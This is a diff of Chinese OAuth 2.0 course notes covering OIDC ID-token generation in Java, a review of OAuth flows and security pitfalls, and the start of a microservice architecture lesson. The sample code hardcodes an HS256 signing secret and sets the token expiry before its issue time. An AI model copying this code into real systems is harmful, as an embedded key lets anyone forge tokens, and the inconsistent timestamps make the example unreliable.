<img src="https://static001.geekbang.org/resource/image/8f/e9/8f794280f949862af3ebdc61d69c5fe9.png" alt="" title="图1 OAuth 2.0和OIDC的角色对应关系">
|
||||
|
||||
## OIDC 和 OAuth 2.0 的关键区别
|
||||
|
||||
看到这张角色对应关系图,你是不是有点 “恍然大悟” 的感觉:要实现一个OIDC协议,不就是直接实现一个OAuth 2.0协议吗。没错,我在这一讲的开始也说了,OIDC就是基于OAuth 2.0来实现的一个身份认证协议框架。
|
||||
|
||||
我再继续给你画一张OIDC的通信流程图,你就更清楚OIDC和OAuth 2.0的关系了:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/23/4b/23ce63497f6734dbc6dc9c5b6399c54b.png" alt="" title="图2 基于授权码流程的OIDC通信流程">
|
||||
|
||||
可以发现,一个基于授权码流程的OIDC协议流程,跟OAuth 2.0中的授权码许可的流程几乎完全一致,唯一的区别就是多返回了一个**ID_TOKEN**,我们称之为**ID令牌**。这个令牌是身份认证的关键。所以,接下来我就着重和你讲一下这个令牌,而不再细讲OIDC的整个流程。
|
||||
|
||||
### OIDC 中的ID令牌生成和解析方法
|
||||
|
||||
在图2的OIDC通信流程的第6步,我们可以看到ID令牌(ID_TOKEN)和访问令牌(ACCESS_TOKEN)是一起返回的。关于为什么要同时返回两个令牌,我后面再和你分析。我们先把焦点放在ID令牌上。
|
||||
|
||||
我们知道,访问令牌不需要被第三方软件解析,因为它对第三方软件来说是不透明的。但ID令牌需要能够被第三方软件解析出来,因为第三方软件需要获取ID令牌里面的内容,来处理用户的登录态逻辑。
|
||||
|
||||
那**ID令牌的内容是什么呢**?
|
||||
|
||||
首先,ID令牌是一个JWT格式的令牌。你可以到[第4讲](https://time.geekbang.org/column/article/257747)中复习下JWT的相关内容。这里需要强调的是,虽然JWT令牌是一种自包含信息体的令牌,为将其作为ID令牌带来了方便性,但是因为ID令牌需要能够标识出用户、失效时间等属性来达到身份认证的目的,所以要将其作为OIDC的ID令牌时,下面这5个JWT声明参数也是必须要有的。
|
||||
|
||||
- iss,令牌的颁发者,其值就是身份认证服务(OP)的URL。
|
||||
- sub,令牌的主题,其值是一个能够代表最终用户(EU)的全局唯一标识符。
|
||||
- aud,令牌的目标受众,其值是三方软件(RP)的app_id。
|
||||
- exp,令牌的到期时间戳,所有的ID令牌都会有一个过期时间。
|
||||
- iat,颁发令牌的时间戳。
|
||||
|
||||
生成ID令牌这部分的示例代码如下:
|
||||
|
||||
```
|
||||
//GENATE ID TOKEN
|
||||
String id_token=genrateIdToken(appId,user);
|
||||
|
||||
private String genrateIdToken(String appId,String user){
|
||||
String sharedTokenSecret="hellooauthhellooauthhellooauthhellooauth";//秘钥
|
||||
Key key = new SecretKeySpec(sharedTokenSecret.getBytes(),
|
||||
SignatureAlgorithm.HS256.getJcaName());//采用HS256算法
|
||||
|
||||
Map<String, Object> headerMap = new HashMap<>();//ID令牌的头部信息
|
||||
headerMap.put("typ", "JWT");
|
||||
headerMap.put("alg", "HS256");
|
||||
|
||||
Map<String, Object> payloadMap = new HashMap<>();//ID令牌的主体信息
|
||||
payloadMap.put("iss", "http://localhost:8081/");
|
||||
payloadMap.put("sub", user);
|
||||
payloadMap.put("aud", appId);
|
||||
payloadMap.put("exp", 1584105790703L);
|
||||
payloadMap.put("iat", 1584105948372L);
|
||||
|
||||
return Jwts.builder().setHeaderParams(headerMap).setClaims(payloadMap).signWith(key,SignatureAlgorithm.HS256).compact();
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
接下来,我们再看看**处理用户登录状态的逻辑是如何处理的**。
|
||||
|
||||
你可以先试想一下,如果 “不跟OIDC扯上关系”,也就是 “单纯” 构建一个用户身份认证登录系统,我们是不是得保存用户登录的会话关系。一般的做法是,要么放在远程服务器上,要么写进浏览器的cookie中,同时为会话ID设置一个过期时间。
|
||||
|
||||
但是,当我们有了一个JWT这样的结构化信息体的时候,尤其是包含了令牌的主题和过期时间后,不就是有了一个“天然”的会话关系信息么。
|
||||
|
||||
所以,依靠JWT格式的ID令牌,就足以让我们解决身份认证后的登录态问题。这也就是为什么在OIDC协议里面要返回ID令牌的原因,**ID令牌才是OIDC作为身份认证协议的关键所在**。
|
||||
|
||||
那么有了ID令牌后,第三方软件应该如何解析它呢?接下来,我们看一段解析ID令牌的具体代码,如下:
|
||||
|
||||
```
|
||||
private Map<String,String> parseJwt(String jwt){
|
||||
String sharedTokenSecret="hellooauthhellooauthhellooauthhellooauth";//密钥
|
||||
Key key = new SecretKeySpec(sharedTokenSecret.getBytes(),
|
||||
SignatureAlgorithm.HS256.getJcaName());//HS256算法
|
||||
|
||||
Map<String,String> map = new HashMap<String, String>();
|
||||
Jws<Claims> claimsJws = Jwts.parserBuilder().setSigningKey(key).build().parseClaimsJws(jwt);
|
||||
//解析ID令牌主体信息
|
||||
Claims body = claimsJws.getBody();
|
||||
map.put("sub",body.getSubject());
|
||||
map.put("aud",body.getAudience());
|
||||
map.put("iss",body.getIssuer());
|
||||
map.put("exp",String.valueOf(body.getExpiration().getTime()));
|
||||
map.put("iat",String.valueOf(body.getIssuedAt().getTime()));
|
||||
|
||||
return map;
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
需要特别指出的是,第三方软件解析并验证ID令牌的合法性之后,不需要将整个JWT信息保存下来,只需保留JWT中的PAYLOAD(数据体)部分就可以了。因为正是这部分内容,包含了身份认证所需要的用户唯一标识等信息。
|
||||
|
||||
另外,在验证JWT合法性的时候,因为ID令牌本身已经被身份认证服务(OP)的密钥签名过,所以关键的一点是合法性校验时需要做签名校验。具体的加密方法和校验方法,你可以回顾下[第4讲](https://time.geekbang.org/column/article/257747)。
|
||||
|
||||
这样当第三方软件(RP)拿到ID令牌之后,就已经获得了处理身份认证标识动作的信息,也就是拿到了那个能够唯一标识最终用户(EU)的ID值,比如3521。
|
||||
|
||||
### 用访问令牌获取ID令牌之外的信息
|
||||
|
||||
但是,为了提升第三方软件对用户的友好性,在页面上显示 “您好,3521” 肯定不如显示 “您好,小明同学”的体验好。这里的 “小明同学”,恰恰就是用户的昵称。
|
||||
|
||||
那如何来获取“小明同学”这个昵称呢。这也很简单,就是**通过返回的访问令牌access_token来重新发送一次请求**。当然,这个流程我们现在也已经很熟悉了,它属于OAuth 2.0标准流程中的请求受保护资源服务的流程。
|
||||
|
||||
这也就是为什么在OIDC协议里面,既给我们返回ID令牌又返回访问令牌的原因了。在保证用户身份认证功能的前提下,如果想获取更多的用户信息,就再通过访问令牌获取。在OIDC框架里,这部分内容叫做创建UserInfo端点和获取UserInfo信息。
|
||||
|
||||
这样看下来,细粒度地去看OIDC的流程就是:**生成ID令牌->创建UserInfo端点->解析ID令牌->记录登录状态->获取UserInfo**。
|
||||
|
||||
好了,利用OAuth 2.0实现一个OIDC框架的工作,我们就做完了。你可以到[GitHub](https://github.com/xindongbook/oauth2-code/tree/master/src/com/oauth/ch09)上查看这些流程的完整代码。现在,我再来和你小结下。
|
||||
|
||||
用OAuth 2.0实现OIDC的最关键的方法是:在原有OAuth 2.0流程的基础上增加ID令牌和UserInfo端点,以保障OIDC中的第三方软件能够记录用户状态和获取用户详情的功能。
|
||||
|
||||
因为第三方软件可以通过解析ID令牌的关键用户标识信息来记录用户状态,同时可以通过Userinfo端点来获取更详细的用户信息。有了用户态和用户信息,也就理所当然地实现了一个身份认证。
|
||||
|
||||
接下来,我们就具体看看如何实现单点登录(Single Sign On,SSO)。
|
||||
|
||||
## 单点登录
|
||||
|
||||
一个用户G要登录第三方软件A,A有三个子应用,域名分别是a1.com、a2.com、a3.com。如果A想要为用户提供更流畅的登录体验,让用户G登录了a1.com之后也能顺利登录其他两个域名,就可以创建一个身份认证服务,来支持a1.com、a2.com和a3.com的登录。
|
||||
|
||||
这就是我们说的单点登录,“一次登录,畅通所有”。
|
||||
|
||||
那么,可以使用OIDC协议标准来实现这样的单点登录吗?我只能说 “太可以了”。如下图所示,只需要让第三方软件(RP)重复我们OIDC的通信流程就可以了。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/7b/48/7bf3cb13a5174f2068c916a4d1ef2748.png" alt="" title="图3 单点登录的通信流程">
|
||||
|
||||
你看,单点登录就是OIDC的一种具体应用方式,只要掌握了OIDC框架的原理,实现单点登录就不在话下了。关于单点登录的具体实现,在GitHub上搜索“通过OIDC来实现单点登录”,你就可以看到很多相关的开源内容。
|
||||
|
||||
## 总结
|
||||
|
||||
在一些较大的、已经具备身份认证服务的平台上,你可能并没有发现OIDC的描述,但大可不必纠结。有时候,我们可能会困惑于,到底是先有OIDC这样的标准,还是先有类似微信登录这样的身份认证实现方式呢?
|
||||
|
||||
其实,要理解这层先后关系,我们可以拿设计模式来举例。当你想设计一个较为松耦合、可扩展的系统时,即使没有接触过设计模式,通过不断地尝试修改后,也会得出一个逐渐符合了设计模式那样“味道”的代码架构思路。理解OIDC解决身份认证问题的思路,也是同样的道理。
|
||||
|
||||
今天,我们在OAuth2.0的基础上实现了一个OIDC的流程,我希望你能记住以下两点。
|
||||
|
||||
1. **OAuth 2.0 不是一个身份认证协议**,请一定要记住这点。身份认证强调的是“谁的问题”,而OAuth2.0强调的是授权,是“可不可以”的问题。但是,我们可以在OAuth2.0的基础上,通过增加ID令牌来获取用户的唯一标识,从而就能够去实现一个身份认证协议。
|
||||
1. 有些App不想非常麻烦地自己设计一套注册和登录认证流程,就会寻求统一的解决方案,然后势必会出现一个平台来收揽所有类似的认证登录场景。我们再反过来理解也是成立的。如果有个拥有海量用户的、大流量的访问平台,来**提供一套统一的登录认证服务**,让其他第三方应用来对接,不就可以解决一个用户使用同一个账号来登录众多第三方App的问题了吗?而OIDC,就是这样的登录认证场景的开放解决方案。
|
||||
|
||||
说到这里,你是不是对OIDC理解得更透彻了呢?好了,让我们看看今天我为了大家留了什么思考题吧。
|
||||
|
||||
## 思考题
|
||||
|
||||
如果你自己通过OAuth 2.0来实现一个类似OIDC的身份认证协议,你觉得需要注意哪些事项呢?
|
||||
|
||||
欢迎你在留言区分享你的观点,也欢迎你把今天的内容分享给其他朋友,我们一起交流。
|
||||
90
极客时间专栏/geek/OAuth 2.0实战课/进阶篇/10 | 串讲:OAuth 2.0的工作流程与安全问题.md
Normal file
90
极客时间专栏/geek/OAuth 2.0实战课/进阶篇/10 | 串讲:OAuth 2.0的工作流程与安全问题.md
Normal file
@@ -0,0 +1,90 @@
|
||||
<audio id="audio" title="10 | 串讲:OAuth 2.0的工作流程与安全问题" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/0d/b4/0dd81115a8a52b63aed0ab9f8c1e58b4.mp3"></audio>
|
||||
|
||||
你好,我是王新栋。
|
||||
|
||||
今天这一讲,我并不打算带你去解决新的什么问题,而是把我们已经讲过的内容再串一遍,就像学生时代每个学期即将结束时的一次串讲,来 “回味”下 OAuth 2.0的整个知识体系。当然了,我也会在这个过程中,与你分享我在实践OAuth 2.0的过程中,积累的最值得分享的经验。
|
||||
|
||||
好,接下来就让我们先串一串OAuth 2.0的工作流程吧。
|
||||
|
||||
## OAuth 2.0工作流程串讲
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/be/2a/beb02a5baf3654c5025238552cd26a2a.jpg" alt="">
|
||||
|
||||
我们一直在讲OAuth 2.0是一种授权协议,这种协议可以让第三方软件**代表**用户去执行被允许的操作。那么,第三方软件就需要向用户索取**授权**来获得那个令牌。
|
||||
|
||||
我们回想下[第1讲](https://time.geekbang.org/column/article/254565)拜访百度王总的例子。只有拿到前台小姐姐给你的门禁卡,你才能够进入百度大楼。这个过程就相当于前台小姐姐给你做了一次授权,而这个授权的凭证就是门禁卡。对应到我们的系统中,门禁卡便相当于访问令牌。
|
||||
|
||||
通过“代表”“授权”这样的关键词,我们可以认识到,OAuth 2.0是一个授权协议,也是一个安全协议。那么,如果我说它也是一种委托协议,你也不要吃惊。
|
||||
|
||||
试想一下,用户在微信平台上有修改昵称、修改头像、修改个人兴趣的权限,当第三方软件请求让自己代表用户来操作这些权限的时候,就是第三方软件请求用户把这些权限**委托**给自己,用户在批准了委托请求之后,才可以代表用户去执行这些操作。
|
||||
|
||||
这时,我们细想一下,**委托才是OAuth 2.0授权概念的根基,因为没有“委托”之意就不会有“代表”行为的发生**。
|
||||
|
||||
在整个课程讲述授权的过程中,我频繁举例和强调的就是授权码许可流程。在学习授权码流程的时候,你最困惑的一点恐怕莫过于 “为什么要多此一举,非得通过一个**授权码code**来换取访问令牌access_token”了吧。这个问题我在讲[授权码许可的整体流程](https://time.geekbang.org/column/article/256196)时也做过分析了,你现在回想起来应该不会再为此“痛苦不堪” 了吧。
|
||||
|
||||
我们再来分析下,第三方软件要获取访问令牌,只能通过两个渠道:
|
||||
|
||||
- 一个渠道是第三方软件的前端页面。但是,如果直接返回到前端页面上,访问令牌是很容易被通过浏览器截获的,所以显然不可取。
|
||||
- 另外一个渠道是通过后端传输。第三方软件的后端和授权服务的后端之间通信,这样就可以避免令牌被直接暴露的问题。
|
||||
|
||||
再往深了想,第三方软件的后端总不能向授权服务的后端 “硬要” 吧,总要告诉授权服务是要哪个用户的access_token吧,所以还需要用户的参与。
|
||||
|
||||
用户一旦参与进来,访问的第一个页面是第三方软件,用户要授权,第三方软件就需要把用户引导到授权服务页面。但这个时候,**用户就跟第三方软件之间没有任何“通信连接”了**。如果授权服务通过后端通信直接将令牌给了第三方软件的后端,那第三方软件该如何通知用户呢,恐怕就不太好实现了。
|
||||
|
||||
这种情况下就很巧妙地引入了授权码code:先把code通过重定向返回到第三方软件的页面;第三方软件通过浏览器获取到code后,再通过后端通信换取access_token;待拿到token之后,由于此时用户已经在第三方软件的服务上,所以可以很容易地通知到用户。
|
||||
|
||||
以上,就是授权码许可的整体工作流程了。我们说,这是OAuth 2.0授权体系中最完备的流程,其他的授权许可类型,比如资源拥有者凭据许可、客户端凭据许可、隐式许可,都是以此为基础。因此,**只要你能理解授权码许可的流程,也就掌握了整个OAuth 2.0中所有许可类型的运转机制**,在实际工作场景中用上OAuth 2.0将不再是问题。
|
||||
|
||||
## OAuth 2.0安全问题串讲
|
||||
|
||||
但是,到这里并没有万事大吉,我们只是解决了OAuth 2.0的基础使用的问题。要想用好、用对这个协议,成长为这个协议的应用专家,我们还必须关注OAuth 2.0的安全问题。
|
||||
|
||||
我们在实践OAuth 2.0的过程中,还必须按照规范建议来执行,否则便会引发一系列的安全问题。这也往往导致有的同学会发出这样的疑问,OAuth 2.0不是安全的吗?它不是一直在保护着互联网上成千上万个Web API吗,我们不也说它是一种安全协议吗?
|
||||
|
||||
首先我们说OAuth 2.0是安全协议没问题,但**如果使用不当也会引起安全上的问题**。比如,我们在[第8讲](https://time.geekbang.org/column/article/261403)中提到了一个很广泛的跨站请求伪造问题。之所以出现这样的安全问题,就是因为我们没有遵循OAuth 2.0的使用建议,比如没有使用state这样的参数来做请求的校验,或者是没有遵循授权码code值只能使用一次,并且还要清除使用过的code值跟token值之间的绑定关系的建议。
|
||||
|
||||
在安全问题上,其实我们一直都没有特别说明一点,那就是**在使用OAuth 2.0的流程中,我们的HTTP通信要使用HTTPS协议来保护数据传输的安全性**。这是因为OAuth 2.0支持的bearer令牌类型,也就是任意字符串格式的令牌,并没有提供且没有要求使用信息签名的机制。
|
||||
|
||||
你可能会说,JWT令牌有这样的加密机制啊。但其实,这也正说明了OAuth 2.0是一个没有约束普通令牌的规则,所以才有了JWT这样对OAuth 2.0的额外补充。
|
||||
|
||||
实际上,JWT跟OAuth 2.0并没有直接关系,它只是一种结构化的信息存储,可以被用在除了OAuth 2.0以外的任何地方。比如,重置密码的时候,会给你的邮箱发送一个链接,这个链接就需要能够标识出用户是谁、不能篡改、有效期5分钟,这些特征都跟JWT相符合。也就是说,JWT并不是OAuth 2.0协议规范所涵盖的内容。
|
||||
|
||||
OAuth 2.0似乎没有自己的规则约束机制,或者说只有比较弱的约束,但其实不是不约束,而是**它就致力于做好授权框架这一件事儿**。通过我们前面的学习,也可以验证出它的确很好地胜任了这项工作。
|
||||
|
||||
**除此之外,OAuth 2.0都是用开放的心态来提供基础的支持**,比如[第9讲](https://time.geekbang.org/column/article/262672)中的OpenID Connect(OIDC)身份认证协议框架。这种开放的方式,使得我们可以用“OAuth 2.0+另外一个技术”来变成一个新的技术。这就是一个伟大的、可操作的组合了,可以解决不同场景的需求。
|
||||
|
||||
也许正是因为OAuth 2.0可以支持类似OIDC这样的身份认证协议,导致我们总是“坚持”认为OAuth 2.0是一种身份认证协议。当然了,OAuth 2.0并不是身份认证协议,我在第9讲中用“面粉”和“面包”来类比OAuth 2.0和OIDC的关系。
|
||||
|
||||
这里我再解释一下。究竟是什么原因导致了我们对OAuth 2.0有这样的 “误解” 呢?我想大概原因是,OAuth 2.0中确实包含了身份认证的内容,即授权服务需要让用户登录以后才可以进行用户确认授权的操作。
|
||||
|
||||
但这样的流程,仅仅是OAuth 2.0涉及到了身份认证的行为,还不足以让OAuth 2.0成为一个真正的用户身份认证协议。因为OAuth 2.0关心的只有两点,颁发令牌和使用令牌,并且令牌对第三方软件是不透明的;同时,受保护资源服务也不关心是哪个用户来请求,只要有合法的令牌 “递” 过来,就会给出正确的响应,把数据返回给第三方软件。
|
||||
|
||||
以上,就是与OAuth 2.0安全问题息息相关的内容了。讲到这里,希望你可以按照自己的理解,融会贯通OAuth 2.0的这些核心知识了。接下来,我再和你分享一个我在实践OAuth 2.0过程中感触最深的一个问题吧。
|
||||
|
||||
## 再强调都不为过的安全意识
|
||||
|
||||
根据我在开放平台上这些年的工作经验,安全意识是实践OAuth 2.0过程中,再怎么强调都不为过的问题。
|
||||
|
||||
因为总结起来,**要说使用OAuth 2.0的过程中如果能有哪个机会让你“栽个大跟头”的话,那这个机会一定是在安全上**:OAuth 2.0本就是致力于保护开放的Web API,保护用户在平台上的资源,如果因为OAuth 2.0使用不当而造成安全问题,确实是一件非常 “丢人” 的事情。
|
||||
|
||||
而OAuth2.0的流程里面能够为安全做贡献的只有两方,一方是第三方软件,一方是平台方。在安全性这个问题上,第三方软件开发者的安全意识参差不齐。那针对这一点,就需要平台方在其官方文档上重笔描述,并给出常见安全漏洞相应的解决方案。同时,作为平台方的内部开发人员,对安全的问题同样不能忽视,而且要有更高的安全意识和认知。
|
||||
|
||||
**只有第三方软件开发者和平台方的研发人员共同保有较高的安全意识,才能让“安全的墙”垒得越来越高,让攻击者的成本越来越高。因为安全的本质就是成本问题。**
|
||||
|
||||
你看,我花了这么大的篇幅来和你讲解OAuth 2.0的安全问题,并单独分析了安全意识,是不是足以凸显安全性这个问题的重要程度了。没错儿,这也是你能用好OAuth 2.0的一个关键标志。
|
||||
|
||||
## 总结
|
||||
|
||||
好了,以上就是我们今天的主要内容了。我希望你能记住以下三点:
|
||||
|
||||
1. OAuth 2.0 是一个授权协议,它通过访问令牌来表示这种授权。第三软件拿到访问令牌之后,就可以使用访问令牌来代表用户去访问用户的数据了。所以,我们说**授权的核心就是获取访问令牌和使用访问令牌**。
|
||||
1. OAuth 2.0 是一个安全协议,但是**如果你使用不当,它并不能保证一定是安全的**。如果你不按照OAuth 2.0 规范中的建议来实施,就会有安全风险。比如,你没有遵循授权服务中的授权码只能使用一次、第三方软件的重定向URL要精确匹配等建议。
|
||||
1. 安全防护的过程一直都是“魔高一尺道高一丈”,相互攀升的过程。因此,在使用OAuth 2.0 的过程中,第三方软件和平台方都要有足够的安全意识,来把“安全的墙”筑得更高。
|
||||
|
||||
最后我想说的是,无论你使用OAuth 2.0目的是保护API,还是作为用户身份认证的基础,OAuth 2.0都只是解决这些问题的一种工具。而掌握OAuth 2.0这种工具的原理及其使用场景,将会帮助你更高效、更优雅地解决这些问题。
|
||||
|
||||
## 思考题
|
||||
|
||||
如果你是一名第三方软件的开发人员,你觉得应该如何提高自己的安全意识呢?
|
||||
|
||||
欢迎你在留言区分享你的观点,也欢迎你把今天的内容分享给其他朋友,我们一起交流。
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,252 @@
|
||||
<audio id="audio" title="12 | 架构案例:基于OAuth 2.0/JWT的微服务参考架构" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/dc/e4/dc057e8d3e588b410eee57fb9aa9c5e4.mp3"></audio>
|
||||
|
||||
>
|
||||
你好,我是王新栋。
|
||||
|
||||
|
||||
>
|
||||
在前面几讲,我们一起学习了OAuth 2.0 在开放环境中的使用过程。那么OAuth 2.0 不仅仅可以用在开放的场景中,它可以应用到我们任何需要授权/鉴权的地方,包括微服务。
|
||||
|
||||
|
||||
>
|
||||
因此今天,我特别邀请了我的朋友杨波,来和你分享一个基于OAuth 2.0/JWT的微服务参考架构。杨波,曾先后担任过携程框架部的研发总监和拍拍贷基础架构部的研发总监,在微服务和OAuth 2.0有非常丰富的实践经验。
|
||||
|
||||
|
||||
>
|
||||
其中,在携程工作期间,他负责过携程的API网关产品的研发工作,包括它和携程的令牌服务的集成;在拍拍贷工作期间,他负责过拍拍贷的令牌服务的研发和运维工作。这两家公司的令牌服务和OAuth 2.0类似,但要更简单些。
|
||||
|
||||
|
||||
>
|
||||
接下来,我们就开始学习杨波老师给我们带来的内容吧。
|
||||
|
||||
|
||||
你好,我是杨波。
|
||||
|
||||
从单体到微服务架构的演进,是当前企业数字化转型的一大趋势。[OAuth 2.0](https://oauth.net/2/)是当前业界标准的授权协议,它的核心是若干个针对不同场景的令牌颁发和管理流程;而[JWT](https://jwt.io/)是一种轻量级、自包含的令牌,可用于在微服务间安全地传递用户信息。
|
||||
|
||||
据我目前了解到的情况,虽然有不少企业已经部分或全部转型到微服务架构,但是在授权认证机制方面,它们一般都是定制自研的,比方说携程和拍拍贷的令牌服务。之所以定制自研,主要原因在于标准的OAuth 2.0协议相对比较复杂,门槛也比较高。定制自研固然可以暂时解决企业的问题,但是不具备通用性,也可能有很多潜在的安全风险。
|
||||
|
||||
那么,到底应该如何将行业标准的OAuth 2.0/JWT和微服务集成起来呢,又有没有可落地的参考架构呢?
|
||||
|
||||
针对这个问题,今天我就和你分享一种可落地的参考架构。不过,我要提前说明的是,这个架构的思想源于[MICRO-SERVICES ARCHITECTURE WITH OAUTH2 AND JWT – PART 1 – OVERVIEW](https://www.kaper.com/cloud/micro-services-architecture-with-oauth2-and-jwt-part-1-overview/)这篇文章。根据原作者Thijs的描述,他提出的架构已经在企业落地架构了。如果你还想获得关于原架构的更多细节,建议进一步参考“[What is PKCE?](https://dzone.com/articles/what-is-pkce)”这篇文章。
|
||||
|
||||
我认为,Thijs给出的架构确实具有可落地性和参考价值,但是他的架构里面对某些微服务层次的命名,例如BFF和Facade层,和目前主流的微服务架构不符,还有他的架构应该是手绘,不够清晰,也不容易理解。为此,我专门用今天这一讲,来改进Thijs给出的架构,并补充针对不同场景的流程。
|
||||
|
||||
为了方便理解,在接下来的讲述中,我会假定有这样一家叫ACME的新零售公司,它已经实现了数字化转型,微服务电商平台是支持业务运作的核心基础设施。
|
||||
|
||||
在业务架构方面,ACME有近千家线下门店,这些门店通过POS系统和电商平台对接。公司还有一些物流发货中心,拣选(Order Picking)系统也要和电商平台对接。另外,公司还有很多送货司机,通过App和电商平台对接。当然,ACME还有一些电商网站,做线上营销和销售,这些网站是电商平台的主要流量源。
|
||||
|
||||
虽然支持ACME公司业务运作的技术平台很复杂,但是它的核心可以用一个简化的微服务架构图来描述:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/22/ff/228199yya6051f1f62f23547a88be4ff.jpg" alt="">
|
||||
|
||||
可以看出,这个微服务架构是运行在Kubernetes集群中的。当然了,这个架构实际上并不一定需要Kubernetes环境,用传统数据中心也可以。另外,它的整体认证授权架构是基于OAuth 2.0/JWT实现的。
|
||||
|
||||
接下来,我按这个微服务架构的分层方式,依次和你分析下它的每一层,以及应用认证/授权和服务调用的相关流程。这样,你不仅可以理解一个典型的微服务架构该如何分层,还可以弄清楚OAuth 2.0/JWT该如何与微服务进行集成。
|
||||
|
||||
## 微服务分层架构
|
||||
|
||||
ACME公司的微服务架构,大致可以分为Nginx反向代理层、Web应用层、Gateway网关层、BEF层和领域服务层,还包括一个IDP服务。总体上讲,这是一种目前主流的微服务架构分层方式,每一层职责单一、清晰。
|
||||
|
||||
接下来,我们具体看看每一层的主要功能。
|
||||
|
||||
### Nginx反向代理层
|
||||
|
||||
首先,Nginx集群是整个平台的流量入口。Nginx是7层HTTP反向代理,主要功能是实现反向路由,也就是将外部流量根据HOST主机头或者PATH,路由到不同的后端,比方说路由到Web应用,或者直接到网关Gateway。
|
||||
|
||||
在Kubernetes体系中,Nginx是和Ingress Controller(入口控制器)配合工作的(总称为Nginx Ingress),Ingress Controller支持通过Ingress Rules,配置Nginx的路由规则。
|
||||
|
||||
### Web应用层
|
||||
|
||||
这一层主要是一些Web应用,html/css/js等资源就住在这一层。
|
||||
|
||||
Web服务层通常采用传统的Web MVC + 模版引擎方式处理,可以实现服务器端渲染,也可以采用单页SPA方式。这一层主要由公司的前端团队负责,通常会使用Node.js技术栈来实现,也可以采用Spring MVC技术栈实现。具体怎么实现,要看公司的前端团队更擅长哪种技术。当这一层需要后台数据时,可以通过网关调用后台服务获取数据。
|
||||
|
||||
### Gateway网关层
|
||||
|
||||
这一层是微服务调用流量的入口。网关的主要职责是反向路由,也就是将前端请求根据HOST主机头、或者PATH、或者查询参数,路由到后端目标微服务(比如,图中的IDP/BFF或者直接到领域服务)。
|
||||
|
||||
另外,网关还承担两个重要的安全职责:
|
||||
|
||||
- 一个是令牌的校验和转换,将前端传递过来的OAuth 2.0访问令牌,通过调用IDP进行校验,并转换为包含用户和权限信息的JWT令牌,再将JWT令牌向后台微服务传递。
|
||||
- 另外一个是权限校验,网关的路由表可以和OAuth 2.0的Scope进行关联。这样,网关根据请求令牌中的权限范围Scope,就可以判断请求是否具有调用后台服务的权限。
|
||||
|
||||
关于安全相关的场景和流程,我会在下一章节做进一步解释。
|
||||
|
||||
另外,网关还需承担集中式限流、日志监控,以及支持CORS等功能。
|
||||
|
||||
对于网关层的技术选型,当前主流的API网关产品,像Netflix开源的Zuul、Spring Cloud Gateway等,都可以考虑。
|
||||
|
||||
### IDP服务
|
||||
|
||||
IDP是Identity Provider的简称,主要负责OAuth 2.0授权协议处理,OAuth 2.0和JWT令牌颁发和管理,以及用户认证等功能。IDP使用后台的Login-Service进行用户认证。
|
||||
|
||||
对于IDP的技术选型,当前主流的Spring Security OAuth,或者RedHat开源的KeyCloak,都可以考虑。其中,Spring Security OAuth是一个OAuth 2.0的开发框架,适合企业定制。KeyCloak则是一个开箱即用的OAuth 2.0/OIDC产品。
|
||||
|
||||
### BFF层
|
||||
|
||||
BFF是Backend for Frontend的简称,主要实现对后台领域服务的聚合(Aggregation,有点类似数据库的Join)功能,同时为不同的前端体验(PC/Mobile/开放平台等)提供更友好的API和数据格式。
|
||||
|
||||
BFF中可以包含一些业务逻辑,甚至还可以有自己的数据库存储。通常,BFF要调用两个或两个以上的领域服务,甚至还可能调用其它的BFF(当然一般并不建议这样调用,因为这样会让调用关系变得错综复杂,无法理解)。
|
||||
|
||||
如果BFF需要获取调用用户或者OAuth 2.0 Scope相关信息,它可以从传递过来的JWT令牌中直接获取。
|
||||
|
||||
BFF服务可以用Node.js开发,也可以用Java/Spring等框架开发。
|
||||
|
||||
### 领域服务层
|
||||
|
||||
领域服务层在整个微服务架构的底层。这些服务包含业务逻辑,通常有自己独立的数据库存储,还可以根据需要调用外部的服务。
|
||||
|
||||
根据微服务分层原则,领域服务禁止调用其它的领域服务,更不允许反向调用BFF服务。这样做是为了保持微服务职责单一(Single Responsibility)和有界上下文(Bounded Context),避免复杂的领域依赖。领域服务是独立的开发、测试和发布单位。在电商领域,常见的领域服务有用户服务、商品服务、订单服务和支付服务等。
|
||||
|
||||
和BFF一样,如果领域服务需要获取调用用户或者OAuth 2.0 Scope相关信息,它可以从传递过来的JWT令牌中直接获取。
|
||||
|
||||
可以看到,领域服务和BFF服务都是无状态的,它们本身并不存储用户状态,而是通过传递过来的JWT数据获取用户信息。所以在整个架构中,微服务都是无状态、可以按需水平扩展的,状态要么存在用户端(浏览器或者手机App中),要么存在集中的数据库中。
|
||||
|
||||
## OAuth 2.0/JWT如何与微服务进行集成?
|
||||
|
||||
以上,就是ACME公司的整个微服务架构的层次了。这个分层架构,对于大部分的互联网业务系统场景都适用。因此,如果你是一家企业的架构师,需要设计一套微服务架构,完全可以参考它来设计。接下来,我再演示几个典型的应用认证场景,以及相应的服务调用流程,来帮助你理解OAuth 2.0/JWT是如何和微服务进行集成的。
|
||||
|
||||
### 场景1:第一方Web应用+资源拥有者凭据模式
|
||||
|
||||
这个场景是用户访问ACME公司自己的电商网站,假设这个电商网站是用Spring MVC开发的。考虑到这是一个第一方场景(也就是公司自己开发的网站应用),我们可以选OAuth 2.0的资源拥有者凭据许可(Resource Owner Password Credentials Grant),也可以选更安全的授权码许可(Authorization Code Grant)。因为这里没有第三方的概念,所以我们就选相对简单的资源拥有者凭据许可。
|
||||
|
||||
下面是一个认证授权流程样例。注意,这个只是突出了关键步骤,实际生产的话,还有很多需要完善和优化的地方。另外,为描述简单,这里假定一个成功流程。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/b6/bd/b658befe1da937fa3685b55522487dbd.jpg" alt="">
|
||||
|
||||
在上面的图中,用户对应OAuth 2.0中的资源拥有者,ACME IDP对应OAuth 2.0中的授权服务。另外,前面架构图中的后台微服务(包括BFF和基础领域服务),对应OAuth 2.0中的受保护资源。
|
||||
|
||||
下面是流程说明:
|
||||
|
||||
1. 用户通过浏览器访问ACME公司的电商网站,点击登录链接。
|
||||
1. Web应用返回登录界面(这个登录页可以是网站自己定制开发)。
|
||||
1. 用户输入用户名、密码进行认证。
|
||||
